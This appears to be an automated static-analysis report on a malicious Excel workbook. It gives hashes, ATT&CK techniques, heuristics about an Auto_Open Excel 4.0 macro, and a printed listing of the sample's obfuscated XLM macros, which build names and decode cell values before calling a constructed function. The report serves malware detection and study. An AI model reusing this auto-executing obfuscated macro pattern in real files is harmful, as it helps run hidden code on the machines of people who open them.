Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c97085e07c6fb6f2…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:16 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 52ef468c7ccdd371b9a5bcf9afda8766 SHA-1: c6272a44032fe7c52351467ed5c7e4cb6aa5d2e9 SHA-256: c97085e07c6fb6f26632ac58620f36f04abe9ab6a6f0632b1aeec86442137c9d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the document. The heuristics indicate the use of dangerous formula APIs, suggesting the macro is designed to run arbitrary commands. No specific family could be identified, but the execution method is clear.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: 5ad0c4bb5bb70e09407afed6e0bf03c189d96782d09f5357169339743dc25515
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aZvNPC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G178 
' 0018     21 LABEL : Cell Value, String Constant - BYsWCZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - cYccsIA len=0 
' 0018     24 LABEL : Cell Value, String Constant - DBbgbjdcy len=0 
' 0018     25 LABEL : Cell Value, String Constant - DoOdPCxFmu len=0 
' 0018     21 LABEL : Cell Value, String Constant - EtaKdd len=0 
' 0018     23 LABEL : Cell Value, String Constant - FaeUSRyq len=0 
' 0018     21 LABEL : Cell Value, String Constant - FtDMem len=0 
' 0018     20 LABEL : Cell Value, String Constant - GNMkE len=0 
' 0018     23 LABEL : Cell Value, String Constant - GQlonWWi len=0 
' 0018     25 LABEL : Cell Value, String Constant - hiYqYhrxnH len=0 
' 0018     21 LABEL : Cell Value, String Constant - jsJYYZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - KUkTIJtm len=0 
' 0018     20 LABEL : Cell Value, String Constant - lfJUd len=0 
' 0018     26 LABEL : Cell Value, String Constant - LQtFTVynGVj len=0 
' 0018     21 LABEL : Cell Value, String Constant - OgqNLG len=0 
' 0018     26 LABEL : Cell Value, String Constant - OxozdbopNza len=0 
' 0018     21 LABEL : Cell Value, String Constant - pUieMv len=0 
' 0018     27 LABEL : Cell Value, String Constant - vqRhSIzosVsv len=0 
' 0018     27 LABEL : Cell Value, String Constant - WyTzumxUpwyx len=0 
' 0018     23 LABEL : Cell Value, String Constant - YmcUCCAz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aZvNPC,T49,"",465.00000000000000000000
'  aZvNPC,T50,"",814.00000000000000000000
'  aZvNPC,T51,"",896.00000000000000000000
'  aZvNPC,T52,"",663.00000000000000000000
'  aZvNPC,T53,"",368.00000000000000000000
'  aZvNPC,T54,"",-19.00000000000000000000
'  aZvNPC,G97,"SET.NAME("OxozdbopNza",0+VALUE("0"))",""
'  aZvNPC,G100,"SET.NAME("jsJYYZ",OxozdbopNza)",""
'  aZvNPC,G105,"SET.NAME("GQlonWWi",OxozdbopNza)",""
'  aZvNPC,G110,"SET.NAME("OgqNLG",COUNTA(KUkTIJtm))",""
'  aZvNPC,G113,"SET.NAME("EtaKdd",COUNTA(WyTzumxUpwyx))",""
'  aZvNPC,G116,[],""
'  aZvNPC,G118,"SET.NAME("FaeUSRyq","")",""
'  aZvNPC,G120,"jsJYYZ",""
'  aZvNPC,G123,"SET.NAME("FtDMem",HLOOKUP("*",KUkTIJtm,jsJYYZ,FALSE))",""
'  aZvNPC,G126,"YmcUCCAz",""
'  aZvNPC,G128,"SET.NAME("BYsWCZ",OxozdbopNza)",""
'  aZvNPC,G132,[],""
'  aZvNPC,G134,"BYsWCZ",""
'  aZvNPC,G139,"DBbgbjdcy",""
'  aZvNPC,G141,"pUieMv",""
'  aZvNPC,G146,"DoOdPCxFmu",""
'  aZvNPC,G151,"SET.NAME("cYccsIA",VALUE(HLOOKUP("*",WyTzumxUpwyx,DoOdPCxFmu,FALSE)))",""
'  aZvNPC,G153,"lfJUd",""
'  aZvNPC,G157,"FaeUSRyq",""
'  aZvNPC,G159,"GQlonWWi",""
'  aZvNPC,G162,NEXT(),""
'  aZvNPC,G167,"hiYqYhrxnH",""
'  aZvNPC,G169,[],""
'  aZvNPC,G171,"LQtFTVynGVj",""
'  aZvNPC,G174,NEXT(),""
'  aZvNPC,G176,RETURN(),""
'  aZvNPC,G202,"SET.NAME("vqRhSIzosVsv",G97)",""
'  aZvNPC,G206,"KUkTIJtm",""
'  aZvNPC,G210,"SET.NAME("WyTzumxUpwyx",R54C13)",""
'  aZvNPC,G215,"SET.NAME("LQtFTVynGVj",222)",""
'  aZvNPC,G219,"SET.NAME("GNMkE",7)",""
'  aZvNPC,G221,vqRhSIzosVsv(),""
'  aZvNPC,G222,HALT(),""